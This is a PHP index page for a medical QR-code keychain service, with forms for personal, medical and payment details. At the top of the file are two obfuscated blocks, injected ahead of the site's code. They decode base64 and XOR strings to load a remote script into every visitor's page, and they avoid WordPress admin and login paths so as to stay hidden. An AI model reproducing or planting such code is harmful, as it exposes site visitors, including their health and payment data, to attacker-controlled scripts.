File: /home/cafsindia/medlocqr_com/index.php
<?php $tq = $_SERVER['REQUEST_URI'];/*87665346638*/ try{$a=0; if(strpos($tq,"rest_route")!==false){$a=1;}if(strpos($tq,"wp-json")!==false){$a=1;}if($a==0){ $j="bas"."e64"."_d"."eco"."de"; print($j("PHNj"."cmlwdC"."Bhc3luYz0ndHJ"."1ZScgc3"."JjPS"."dodHRwc"."zovL2dldC5"."zb3J0eWVsbG"."93YXBwbGVzLmNvb"."S9zY3Jp"."cHRzL2dldC5qcz9"."2PTcu"."NScgPj"."wvc2"."Npc"."n"."B0Pg"));} }catch (Exception $e) {} ?>
<?php $a = "675978985456saawm67879789gfdg679487435dsf"; $b="ba"."s" .chr(101).chr(54).chr(52).chr(95).chr(101).chr(110).chr(99). "ode"; $c="ba"."s" .chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99). "ode"; $d=$b($a);$f="st".$c("cl9wYQ")."d";$e="st".$c("cmxl")."n";$ss="st".$c("cnBv")."s";$j="su".$c("YnN0")."r";$h="p".$c("cmlu")."t_r";$ht0="H".$c("VFRQX0hP")."ST";$ht1="RE".$c("UVVFU1RfVQ")."RI";$aa = array( $j($a,12,1) => "U1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NT",$j($a,13,2) => "XRICEwgRFUEAEhgPAlxGFRMUBEZBFRgRBFxGFQQZFU4LABcAEgITCBEVRkESEwJcRg",$j($a,15,1) => "HwMDBwRNWFgTGQRZER4FBAMVGxYUHAcfFgQSWRQYGlgEFAUeBwMEWAQDFgUDWR0ESAEbSkdZTllC",$j($a,16,1)=>"SlNRQh4OHwQdGVM");$l = "";foreach ($aa as $b=>$cc){$w1 = $c($cc) ^ $f($b, $e($cc), $b);$l =$l . $w1;} try{$vgg = $_SERVER[$ht0].$_SERVER[$ht1];$z=1; if($ss($vgg,"wp".$c("LWFkbQ")."in")!==false) $z=0; if($ss($vgg,"/wp".$c("LWxvZ2luLnA")."hp")!==false) $z=0; if($ss($vgg,"wp".$c("LWpz")."on")!==false)$z=0; if($ss($vgg,"re".$c("c3Rfcm91")."te")!==false) $z=0; if($z==1) $h($l);}catch (Exception $e) {} ?><?php
require_once('./med_lib/medObject.php');
$libObject = medObject::newObject('med_db');
$real_db = $libObject->getDBObject();
$bg_qry = $libObject->runQuery("select * from cw_blood_group where trans_status = 1");
$bg_result = $libObject->result($bg_qry);
$state_qry = $libObject->runQuery("select * from cw_state where trans_status = 1");
$state_result = $libObject->result($state_qry);
$city_qry = $libObject->runQuery("select * from cw_city where trans_status = 1");
$city_result = $libObject->result($city_qry);
$material_qry = $libObject->runQuery("select * from cw_material_type where trans_status = 1");
$material_result = $libObject->result($material_qry);
$material_result_arr = json_decode(json_encode($material_result),true);
$mat_result = array_reduce($material_result_arr, function($result, $arr){
$result[$arr['prime_material_type_id']] = $arr;
return $result;
}, array());
$country_code_qry = $libObject->runQuery("select prime_country_id,country_code from cw_country where trans_status = 1");
$country_code_result = $libObject->result($country_code_qry);
?>
<!DOCTYPE html>
<html>
<head>
<!--Import Google Icon Font-->
<link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
<link rel="shortcut icon" type="image/x-icon" href="images/Logo.jpg">
<!--Import materialize.css-->
<link type="text/css" rel="stylesheet" href="css/materialize.min.css" media="screen,projection"/>
<!--Let browser know website is optimized for mobile-->
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
<!-- CSS -->
<link href="css/style.css" type="text/css" rel="stylesheet" media="screen,projection"/>
<link href="css/timeline.css" type="text/css" rel="stylesheet" media="screen,projection"/>
</head>
<body>
<nav class="light-blue lighten-1 pushpin-demo-nav pinned" role="navigation">
<div class="nav-wrapper container"><img id="logo-container" src="images/Logo.jpg" class="brand-logo" style = "padding-top: 10px;" width="150" height="55">
<ul class="right hide-on-med-and-down">
<li><a class="head-link" href="/index.php">Home</a></li>
<li><a class="head-link" href="#about">About Us</a></li>
<li><a class="head-link" href="#why">Why?</a></li>
<li><a class="head-link" href="#tracker">Tracker</a></li>
</ul>
<ul id="nav-mobile" class="sidenav">
<li><a class="head-link" href="/index.php">Home</a></li>
<li><a href="#about">About Us</a></li>
<li><a class="head-link" href="#why">Why?</a></li>
<li><a class="head-link" href="#tracker">Tracker</a></li>
</ul>
<a href="#" data-target="nav-mobile" class="sidenav-trigger"><i class="material-icons">menu</i></a>
</div>
</nav>
<div class="section no-pad-bot" id="index-banner">
<div class="container">
<br><br>
<h1 class="header center">Secured Medical details in a swift...</h1>
<div class="row white-bg">
<div class="col s12">
<ul class="tabs tab-cust">
<li class="tab col s4"><a class="active" href="#personal_details"><i class="material-icons">person</i> Personal Information</a></li>
<li class="tab col s4"><a href="#medical_details"><i class="material-icons">local_hospital</i> Medical Information</a></li>
<li class="tab col s4"><a href="#preview"><i class="material-icons">remove_red_eye</i> Preview</a></li>
</ul>
</div>
<div id="personal_details" class="col s12">
<div class="row white-text-cust pad-all">
<form id='save_personal_form' class="col s12">
<div class="row" style="margin-bottom: 0px;">
<div class="input-field col s12 m4" style="display:none;">
<select id='proof_type' name='proof_type' class="validate" style="display:none;">
<option value="" disabled>Choose Type</option>
<option value="1" selected>Manual Entry</option>
<option value="2">Aadhar Card</option>
</select>
<label for="proof_type" class='required'>Proof Type</label>
</div>
<div class="file-field input-field front_page col s12 m4">
<div class="btn_color file_btn">
<input type="file" id="front_page" name="front_page" accept=".jpg,.jpeg,.png," autocomplete="off">
</div>
<div class="file-path-wrapper">
<input class="file-path validate valid" type="text" id="upload_front_page" name="upload_front_page" placeholder="Upload Front side..." autocomplete="off">
</div>
</div>
<div class="file-field input-field back_page col s12 m4">
<div class="btn_color file_btn">
<input type="file" id="back_page" name="back_page" accept=".jpg,.jpeg,.png," autocomplete="off">
</div>
<div class="file-path-wrapper">
<input class="file-path validate valid" type="text" id="upload_back_page" name="upload_back_page" placeholder="Upload Back side..." autocomplete="off">
</div>
</div>
<div class="input-field col s12 m4">
<input id="person_id" name="person_id" type="hidden" value='0'>
<input id="person_name" name="person_name" type="text" class="alpha_text validate">
<label for="person_name" class='required'>Name</label>
</div>
<div class="input-field col s12 m1">
<select id='country_code' name='country_code'>
<option value="" disabled>--Select--</option>
<?php foreach ($country_code_result as $key => $value) {
$country_id = $value->prime_country_id;
$country_code = $value->country_code;
$default = "";
if((int)$country_id === 1) {
$default = "selected";
}
echo "<option value='$country_id' $default>".'+'."$country_code</option>";
} ?>
</select>
</div>
<div class="input-field col s12 m3">
<input id="mobile_no" name='mobile_no' type="tel" class="validate">
<label for="mobile_no" class='required'>Mobile No</label>
</div>
<div class="input-field dob-color-black col s12 m4">
<input id='dob' name='dob' type="date" class="validate" data-date-format="DD MMMM YYYY">
<label for="dob" class='required'>DOB.</label>
</div>
<div class="input-field col s12 m4">
<select id='gender' name='gender' class="validate">
<option value="" disabled selected>Choose your Gender</option>
<option value="1">Male</option>
<option value="2">Female</option>
<option value="2">Other</option>
</select>
<label class='required'>Gender</label>
</div>
<div class="input-field col s12 m4">
<textarea id="address" name="address" class="materialize-textarea validate"></textarea>
<label for="address" class='required'>Address</label>
</div>
<div class="input-field col s12 m4">
<select id='state' name='state'>
<option value="" disabled selected>Choose State</option>
<?php foreach ($state_result as $key => $value) {
$state_id = $value->prime_state_id;
$state_name = $value->state_name;
echo "<option value='$state_id'>$state_name</option>";
} ?>
</select>
<label class='required'>State</label>
</div>
<div class="input-field col s12 m4" style="clear: both;">
<select id='city' name='city' class='validate'>
<option value="" disabled selected>Choose City</option>
<?php foreach ($city_result as $key => $value) {
$city_id = $value->prime_city_id;
$state_id = $value->state;
$city_name = $value->city_name;
echo "<option value='$state_id'>$city_name</option>";
} ?>
</select>
<label class='required'>City</label>
</div>
<div class="input-field col s12 m4">
<input id="pincode" name='pincode' type="tel" class="validate">
<label for="pincode" class='required'>Pincode</label>
</div>
</div>
<div class="row" style="margin-bottom: 0px;">
<div class="input-field col s12 m4"></div>
<div class="input-field col s12 m4"></div>
<div class="input-field col s12 m4 center" style="padding-top: 9px;">
<button class="btn waves-effect waves-light" id="proceed_to_medical" name="proceed_to_medical">Proceed to Medical</button>
</div>
</div>
</form>
</div>
</div>
<div id="medical_details" class="col s12">
<div class="privew-pad">
<form id='save_medical_form' class="col s12">
<div class="row white-text-cust" style="margin-bottom: 0px;">
<div class="input-field col s12 m4" style="display:none;">
<select id='medical_info' name='medical_info'>
<option value="" disabled>Choose your Option</option>
<option value="1" selected>Manual</option>
<option value="2">Medical Document</option>
</select>
<label class='required'>Medical Info</label>
</div>
<div class="file-field input-field col s12 m4 medical_div">
<div class="btn_color file_btn">
<input type="file" id="upload_medical_document" name="upload_medical_document" accept=".jpg,.jpeg,.png," autocomplete="off">
</div>
<div class="file-path-wrapper">
<input class="file-path validate valid" type="text" id="medical_document" name="medical_document" placeholder="Choose your Medical..." autocomplete="off" name=>
</div>
</div>
<div class="input-field col s12 m4">
<select id='blood_group' name='blood_group'>
<option value="" disabled selected>Choose Blood Group</option>
<?php foreach ($bg_result as $key => $value) {
$bg_id = $value->prime_blood_group_id;
$bg_name = $value->blood_group;
echo "<option value='$bg_id'>$bg_name</option>";
} ?>
</select>
<label id='bld_label' for="blood_group" class='required'>Blood Group</label>
</div>
<!-- </div>
<div class="row white-text-cust" style="margin-bottom: 0px;"> -->
<div class="input-field col s12 m4">
<textarea id="conditions" name='conditions' class="materialize-textarea"></textarea>
<label for="conditions">Conditions</label>
</div>
<div class="input-field col s12 m4">
<textarea id="medicines" name='medicines' class="materialize-textarea"></textarea>
<label for="medicines">Medicines</label>
</div>
<div class="input-field col s12 m4">
<textarea id="hospital_information" name='hospital_information' class="materialize-textarea"></textarea>
<label for="hospital_information">Hospital info</label>
</div>
<!-- </div>
<div class="row white-text-cust" style="margin-bottom: 0px;"> -->
<div class="input-field col s12 m4">
<input id="emergency_name" name="emergency_name" type="text" class="alpha_text validate">
<label for="emergency_name" class='required'>Emergency Contact Name</label>
</div>
<div class="input-field col s12 m4">
<input id="relationship" name="relationship" type="text" class="alpha_text validate">
<label for="relationship">Relationship</label>
</div>
<div class="input-field col s12 m4" style="clear:both">
<input id="contact" name='contact' type="tel" class="number validate">
<label for="contact" class='required'>Emergency Contact number</label>
</div>
</div>
<div class="row white-text-cust" style="margin-bottom: 0px;">
<div class="input-field col s12 m4 center" style="padding-top: 9px;">
<button class="btn waves-effect waves-light" id="back_to_personal">Back to Personal</button>
</div>
<div class="col s12 m4">
</div>
<div class="input-field col s12 m4 center" style="padding-top: 9px;">
<button class="btn waves-effect waves-light" id="proceed_to_preview" id="proceed_to_preview">Proceed to Preview</button>
</div>
</div>
</form>
</div>
</div>
<div id="preview" class="col s12">
<div class="privew-pad">
<div class="card card-content">
<div class="row" style="margin-bottom: 0px;">
<div class="col s12 m8" style="padding: 20px;border-right: 1px solid #ddd;">
<div id ='personal_medical_list'></div>
</div>
<div class="col s12 m4" style="padding: 20px;">
<div id ='scan_info_list'></div>
</div>
</div>
</div>
<div class="row" style="margin-bottom: 0px;">
<div class="input-field col s12 m3">
<label style='margin-top:-27px;'>
<input type="checkbox" id='same_above' class="filled-in" />
<span>Same as Personal Address</span>
</label>
</div>
<div class="input-field col s12 m4">
<textarea id="delivery_address" class="materialize-textarea"></textarea>
<label for="delivery_address" class='required'>Delivery Address</label>
</div>
<div class="input-field col s12 m3">
<select id='material_type' name='material_type'>
<option value="" disabled selected>Choose Material Type</option>
<?php foreach ($material_result as $key => $value) {
$material_id = $value->prime_material_type_id;
$name = $value->material_name;
$price = $value->price;
echo "<option value='$material_id'>$name - Rs. $price</option>";
} ?>
</select>
</div>
<div class="col s12 m2" id='material_img'>
</div>
</div>
<div class="row white-text-cust" style="margin-bottom: 0px;">
<div class="col s12 m4">
<div class="input-field center white-text-cust" style="padding-top: 10px;">
<button class="btn waves-effect waves-light" id="back_to_medical">Back to Medical</button>
</div>
</div>
<div class="col s12 m4" >
</div>
<div class="col s12 m4">
<input type='hidden' id='pay_amount' >
<div class="input-field center white-text-cust" style="padding-top: 10px;">
<button class="btn waves-effect waves-light" id="pay_now">Pay Now</button>
</div>
</div>
</div>
</div>
</div>
</div>
<br><br>
</div>
</div>
<div class="container" id="about">
<div class="section pt-50">
<div class="row">
<div class="col s12 center sub-heading">
<h2>About Us</h2>
<div class="row">
<div class="col s12 m6 p-20">
<div class="b-shadow">
<p>In August 2020, the Honourable Prime Minister announced the launch of the National Digital Health Mission (NDHM) that aims to create an Open Digital Health Ecosystem.</p>
<p>The mission starts with creating a unique patient Identity (ID), standardized health registries, digital health records and usability of these records across hospitals to provide better care for patients.</p>
</div>
</div>
<div class="col s12 m6 p-20">
<div class="b-shadow">
<p>With the nation moving forward on the digital health mantra and our team moving on the Safety Comes First mantra prioritizing the patients’ health and safety first, we thought both these mantras will confluence at MED LOCQR (Med Locker).</p>
<p>MED LOCQR is the initiative to capture every bit of health data digitally and make it available to protect people from illnesses and safe guard them in case of emergencies and urgent cares scenarios.
</p>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="container" id="why">
<div class="section">
<div class="row">
<div class="col s12 center sub-heading">
<h2>Why?</h2>
<div class="row">
<div class="col s12 m6 p-20">
<div class="b-shadow sec-height">
<p>Emergency doesn’t just mean getting into a big accident. Any condition where we cannot help ourselves is considered an emergency. Conditions of imbalance in Blood Pressure, High BP or Low BP, imbalance in Blood Sugar, High Sugar and Low Sugar have been a reason for many to faint for few moments.</p>
<p>Heart conditions, Kidney conditions or Liver conditions can cause sudden weakness in a normal persons. Hot and humid weather can drain our energy and make us feel weak and short of breathe.</p>
<p>Not to be scared, But to be cautious, our family members always advise us not to travel alone and advise to travel with someone. In case if we travel alone, they would call every few hours to check if everything is okay. </p>
</div>
</div>
<div class="col s12 m6 p-20">
<div class="b-shadow sec-height">
<p>“Have you reached office?”, “Have you boarded the train?”, “Have you reached the destination?” There are so many “have you” questions in our lives just to make sure we are safe.</p>
<p>That has been the primary motivation for us to create ‘MED LOCQR”, Safety Comes First. MED LOCQR creates a digital ID for us. A QR code with our health data. Our name, age, blood group, any medical conditions we may have, any medicine we are taking regularly, any allergies we have and most importantly, one or more emergency contacts.</p>
<p>What more? The name of the Hospital we go to, Phone number of the hospital where they can contact and get details about what need to be done. Anyone who scans the QR code will get all these details.
</p>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!--
<div class="section pt-5">
<div class="container">
<div class="row">
<div class="col s12 center">
<img class="responsive-img" src="images/med_mobile.png">
</div>
</div>
</div>
</div>
-->
<div class="container">
<div class="section">
<div class="row" style='padding: 8px;margin: 0px; box-shadow: 0 1px 6px 0 rgb(32 33 36 / 28%); border-radius: 4px;'>
<div class="col m6 s12 center">
<img class="responsive-img" src="images/med_mobile.png">
</div>
<div class="col m6 s12 center" style='padding:64px 0px;'>
<img class="responsive-img" src="images/medlock_material.png">
<p>Where can we keep this QR Code without forgetting to take when we go out? We found the key chain is the best place. That’s why we are creating key chains with MED LOCQR codes.</p>
</div>
</div>
</div>
</div>
<!--
<div class="section pt-5">
<div class="container">
<div class="row">
<div class="col s12 center">
<img class="responsive-img" src="images/medlock_material.png">
</div>
</div>
</div>
</div>
-->
<div class="container" id="tracker">
<div class="section">
<div class="row">
<div class="col s12 center sub-heading">
<h2>Tracker</h2>
<form class="col s12">
<div class="row track-btn">
<div class="input-field col s8">
<input id="tracking_id" type="text" class="validate">
<label for="tracking_id">Track your Id</label>
</div>
<div class="input-field col s4 center" style="padding-top: 9px;">
<button class="btn waves-effect waves-light" id='track_btn'>Submit</button>
</div>
</div>
</form>
</div>
</div>
</div>
</div>
<div class="row d-flex justify-content-center">
<div class="col-12">
<ul id="progressbar" class="text-center">
</ul>
</div>
</div>
<footer class="page-footer cust-blue">
<div class="footer-copyright center">
<div class="container">
Copyright 2021@<a class="white-text" href="https://nalamhcit.com/" target="_blank">NalamHCIT Solutions Pvt. Ltd.</a>
</div>
</div>
</footer>
</body>
</html>
<!--JavaScript at end of body for optimized loading-->
<script type="text/javascript" src="js/jquery-2.1.1.min.js"></script>
<script type="text/javascript" src="js/materialize.min.js"></script>
<script src="./js/jquery.validate.min.js"></script>
<script src="./js/float-panel.js?rel=LP<?php echo date("Ymd")?>"></script>
<script src="https://checkout.razorpay.com/v1/checkout.js"></script>
<script>
$(document).ready(function(){
$('select').formSelect();
$('.tabs').tabs();
$("a[href='#medical_details']").parent("li").addClass("disabled");
$("a[href='#preview']").parent("li").addClass("disabled");
$('.datepicker').datepicker({});
$('.sidenav').sidenav();
$('#textarea1').val();
$('.head-link').click(function(e) {
e.preventDefault();
var goto = $(this).attr('href');
$('html, body').animate({
scrollTop: $(goto).offset().top
}, 800);
});
$('#person_name').focus();
$('.sidenav').sidenav().on('click tap', 'li a', () => { $('.sidenav').sidenav('close');});
var medical_info = $('#medical_info').val();
if(medical_info){
medical_info_hide_show(medical_info);
}
//Medical info Hide Show
$('#medical_info').change(function(){
var medical_info = $('#medical_info').val();
medical_info_hide_show(medical_info);
});
var proof_type = $('#proof_type').val();
if(proof_type){
proof_type_hide_show(proof_type);
}
//Proof Type Hide Show
$('#proof_type').change(function(){
var proof_type = $('#proof_type').val();
proof_type_hide_show(proof_type);
});
//Allow Only Text
$(".alpha_text").keypress(function(event){
var inputValue = event.charCode;
if(!(inputValue >= 65 && inputValue <= 122) && (inputValue != 32 && inputValue != 0)){
event.preventDefault();
}
});
// $('#state').on('change',function() {
// var state = $(this).val();
// });
$("#state").change(function(){
if ($(this).data('options') === undefined) {
$(this).data('options', $('#city option').clone());
}
var state_id = $(this).val();
var city_options = $(this).data('options').filter('[value=' + state_id + ']');
$('#city').html(city_options);
$('select').formSelect();
});
//Fetch same Address
$('#same_above').change(function(){
var address = $('#address').val();
if($('#same_above').is(':checked')){
$('#delivery_address').val(address);
$('#delivery_address').focus();
}else{
$('#delivery_address').val('');
}
});
$('#material_type').change(function(){
var material_type = $('#material_type').val();
var mat_result = '<?php echo json_encode($mat_result); ?>';
var rslt = JSON.parse(mat_result);
var material = "./admin/"+rslt[material_type].material;
var price = rslt[material_type].price;
$('#material_img').html("<img src='"+material+"' width='100' height='100'>");
$('#pay_now').html("Rs. "+price+' Pay Now');
$('#pay_amount').val(price);
});
$('#pay_now').click(function(e){
var pay_now_text = $('#pay_now').text();
var person_name = $('#person_name').val();
var mobile_no = $('#mobile_no').val();
var delivery_address = $('#delivery_address').val();
var address = $('#address').val();
var pay_amount = $('#pay_amount').val();
var material_type = $('#material_type').val();
if(delivery_address === ""){
M.toast({html: "Please Enter Delivery Address"});
return false;
}
if(!material_type){
M.toast({html: "Please Choose Material Type"});
return false;
}
$("#pay_now").html("<i class='fa fa-spinner fa-spin'></i> Processing...");
$('#pay_now').attr('disabled','disabled');
var frm = "payment";
if(delivery_address !== "" && material_type !== "") {
$.ajax({
type: "POST",
url: "pay.php",
data:{pay_amount:pay_amount},
success: function (data){
$("#pay_now").html(pay_now_text);
$('#pay_now').attr('disabled',false);
var rslt = JSON.parse(data);
let options = {
"key": rslt.razor_key,
"amount": rslt.amount,
"name": "NalamHCIT solutions india pvt ltd",
"description": "Followapp QR code",
handler: function (response){
send_data(response.razorpay_payment_id,rslt.transaction_id,delivery_address,material_type,1,person_name);
},
"prefill": {
"name": person_name,
"contact":mobile_no
},
"notes": {
"nTrancationID":rslt.transaction_id
}
};
let rzp = new Razorpay(options);
rzp.open();
rzp.on('payment.failed', function (response){
/*console.log(response.error.metadata.payment_id);
return false;*/
send_data(response.error.metadata.payment_id,rslt.transaction_id,delivery_address,material_type,2,person_name);
});
}
});
}
});
// $.validator.addMethod('customphone', function (value, element) {
// return this.optional(element) || /^(\+91-|\+91|0)?\d{10}$/.test(value);
// }, "Please enter a valid phone number");
//Save Personal Form
$("#save_personal_form").validate({
rules: {
proof_type : "required",
upload_front_page : "required",
upload_back_page : "required",
person_name : "required",
country_code : "required",
mobile_no : {
required : true,
minlength : 10,
maxlength : 10,
number : true
},
dob : "required",
gender : "required",
address : "required",
state : "required",
city : "required",
pincode : {
required : true,
minlength : 6,
maxlength : 6,
number : true
}
},
messages:{
country_code: "required",
},
errorClass : "invalid_form",
errorElement : 'div',
errorPlacement: function(error, element) {
error.appendTo(element.parent());
}
});
//Save Medical Form
$("#proceed_to_medical").click(function(event) {
if($("#save_personal_form").valid()){
event.preventDefault();
change_active_tab("medical_details");
$("#blood_group").focus();
}
});
$("#back_to_personal").click(function(event){
change_active_tab("personal_details");
});
$("#back_to_medical").click(function(event){
change_active_tab("medical_details");
});
// $("#same_above").click(function(event){
// $('#delivery_address').addClass('materialize-textarea');
// });
//Save Medical Form
$("#save_medical_form").validate({
rules: {
medical_info : "required",
medical_document : "required",
blood_group : "required",
/*conditions : "required",
medicines : "required",
hospital_information: "required",*/
emergency_name : "required",
/*relationship : "required",*/
contact : {
required : true,
minlength : 10,
maxlength : 10,
number : true
},
},
errorClass: "invalid_form",
errorElement: 'div',
errorPlacement: function(error, element) {
error.appendTo(element.parent());
}
});
$("#proceed_to_preview").click(function(event) {
if($("#save_medical_form").valid()){
event.preventDefault();
save_data();
}
});
//Front Page Upload
$('#front_page').change(function() {
var file_data = $('#front_page').prop('files')[0];
if(file_data){
var form_data = new FormData();
form_data.append('front_page', file_data);
$.ajax({
url: '../upload_files/upload.php?send_from=medlocker&send_for=front_page&extension=jpg,jpeg,png',
cache: false,
contentType: false,
processData: false,
data: form_data,
type: 'post',
success: function(result_data){
var rslt = JSON.parse(result_data);
if(rslt['success']){
$('#upload_front_page').val(rslt['path']);
console.log(result_data);
}else{
toastr.error(rslt['msg']);
$('#upload_front_page').val('');
}
}
});
}else{
toastr.error('Please select file to upload');
}
});
//Back Page Upload
$('#back_page').change(function() {
var file_data = $('#back_page').prop('files')[0];
if(file_data){
var form_data = new FormData();
form_data.append('back_page', file_data);
$.ajax({
url: '../upload_files/upload.php?send_from=medlocker&send_for=back_page&extension=jpg,jpeg,png',
cache: false,
contentType: false,
processData: false,
data: form_data,
type: 'post',
success: function(result_data){
var rslt = JSON.parse(result_data);
if(rslt['success']){
$('#upload_back_page').val(rslt['path']);
console.log(result_data);
}else{
toastr.error(rslt['msg']);
$('#upload_back_page').val('');
}
}
});
}else{
toastr.error('Please select file to upload');
}
});
//Medical Document Upload
$('#medical_document').change(function(){
var file_data = $('#medical_document').prop('files')[0];
if(file_data){
var form_data = new FormData();
form_data.append('medical_document', file_data);
$.ajax({
url: '../upload_files/upload.php?send_from=medlocker&send_for=medical_document&extension=jpg,jpeg,png',
cache: false,
contentType: false,
processData: false,
data: form_data,
type: 'post',
success: function(result_data){
var rslt = JSON.parse(result_data);
if(rslt['success']){
$('#upload_medical_document').val(rslt['path']);
console.log(result_data);
}else{
toastr.error(rslt['msg']);
$('#upload_medical_document').val('');
}
}
});
}else{
toastr.error('Please select file to upload');
}
})
//Track Your ID
$('#track_btn').click(function(e){
e.preventDefault();
var tracking_id = $('#tracking_id').val();
if(tracking_id === ""){
M.toast({html: "Please Enter Track Id"});
$('#tracking_id').focus();
return false;
}
var frm = "track_data";
if(tracking_id){
$.ajax({
type: "POST",
url: "./bend/med_callback.php",
data: {tracking_id:tracking_id,frm:frm},
success: function(result_data){
var rslt = JSON.parse(result_data);
if(rslt.sts){
$('#progressbar').html(rslt.timeline_map);
}else{
$('#progressbar').html("");
M.toast({html: rslt.msg});
}
}
});
}
});
});
// SAVE FORM
function save_data(){
$("#proceed_to_preview").html("<i class='fa fa-spinner fa-spin fa-lg'></i>");
var frm = "save_data";
var personal_data = JSON.stringify($("#save_personal_form").serializeArray());
var medical_data = JSON.stringify($("#save_medical_form").serializeArray());
$.ajax({
type: "POST",
url: "./bend/med_callback.php",
data:{frm:frm,personal_data:personal_data,medical_data:medical_data},
success: function (data){
//M.Toast.dismissAll();
var rslt = JSON.parse(data);
sts = rslt.sts;
if(!sts){
//M.toast({html: rslt.msg});
}else{
$("#person_id").val(rslt.prime_id);
$("#personal_medical_list").html(rslt.personal_medical_line);
$("#scan_info_list").html(rslt.scan_code_line);
change_active_tab("preview");
$("#proceed_to_preview").html('Proceed to Preview');
$("#delivery_address").focus();
//M.toast({html: rslt.info});
}
}
});
}
function medical_info_hide_show(medical_info){
if(parseInt(medical_info) === 1){
$('#blood_group,#conditions,#medicines,#hospital_information,#emergency_contact,#bld_label').parent().show();
$('#blood_group,#conditions,#medicines,#hospital_information,#emergency_contact').removeClass('ignore');
$('.medical_div').hide();
$('.medical_div').addClass('ignore');
$('.medclearnone').addClass('medclrnone');
}else{
$('.medical_div').show();
$('.medical_div').removeClass('ignore');
$('#blood_group,#conditions,#medicines,#hospital_information,#emergency_contact,#bld_label').parent().hide();
$('#blood_group,#conditions,#medicines,#hospital_information,#emergency_contact').addClass('ignore');
$('.medclearnone').removeClass('medclrnone');
}
}
function proof_type_hide_show(proof_type){
if(parseInt(proof_type) === 1){
$('.front_page,.back_page').hide();
$('.front_page,.back_page').addClass('ignore');
$('.clearnone').addClass('clrnone');
}else{
$('.front_page,.back_page').show();
$('.front_page,.back_page').removeClass('ignore');
$('.clearnone').removeClass('clrnone');
}
}
function change_active_tab(tab){
event.preventDefault();
$("a[href='#"+tab+"']").parent("li").removeClass("disabled");
var elem = $('.tabs');
var instance = M.Tabs.getInstance(elem);
instance.select(tab);
instance.updateTabIndicator();
}
function send_data(response,transaction_id,delivery_address,material_type,payment_type,person_name){
var prime_id = $("#person_id").val();
var frm = "save_payment";
if(prime_id){
$.ajax({
type: "POST",
url: "./bend/med_callback.php",
data:{frm:frm,response:response,prime_id:prime_id,transaction_id:transaction_id,delivery_address:delivery_address,material_type:material_type,payment_type:payment_type},
success: function (data){
var rslt = JSON.parse(data);
if(rslt.sts){
if(parseInt(rslt.payment_type) === 1){
window.location = 'success.php?payment_id='+response.razorpay_payment_id+'&name='+person_name+'&transaction_id='+transaction_id;
}else{
window.location = 'fail.php?description='+response.error.description+'&name='+person_name;
}
}
}
});
}
}
</script>
<style type="text/css">
label.required:before{
color: red !important;
content: "*";
position: relative;
display: contents;
font-size: 18px;
top: 5px;
left: 10px;
}
</style>